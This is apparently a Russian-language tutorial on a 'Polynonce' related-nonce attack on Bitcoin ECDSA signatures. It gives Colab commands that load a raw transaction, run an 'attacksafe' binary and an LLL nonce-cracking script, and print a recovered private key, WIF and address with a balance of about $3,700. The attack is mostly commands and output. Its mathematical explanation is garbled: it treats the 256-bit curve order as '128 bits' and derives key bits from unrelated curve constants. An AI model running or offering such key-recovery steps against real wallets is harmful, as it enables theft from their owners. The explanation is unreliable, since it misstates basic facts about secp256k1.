POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.
За практическую основу мы будем брать материалы из нашей ранней статьи “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.
Нам многое может открыть Binary number (4 digits): "1111" // Hex number: "F" //
Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001
Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю
Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //
За теоретическую основу мы будем брать материалы:
“Polynonce Attack on Bitcoin”
Рассмотрим пример с Биткоин Адресом:
RawTX
Перейдем на официальный сайт: https://colab.research.google.com
Выберем опцию “Upload notebook”
Загрузим файл: POLYNONCE_ATTACK.ipynb
Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt
!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
Чтобы реализовать атаку мы воспользуемся программным обеспечение
Права доступа:
!chmod +x attacksafe
ls
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл: PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX формате
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
Проверим POLYNONCE для каждой подписи ECDSA
Результат:
Мы получили четыре одинаковых первоначальных 128 bits
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Установим модуль bitcoin
!pip3 install bitcoin
Откроем файл: PrivateKeyAddr.txt
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
Откроем bitaddress и проверим:
ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
BALANCE: $ 3699.40
Literature:
A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)
Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0
Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014)
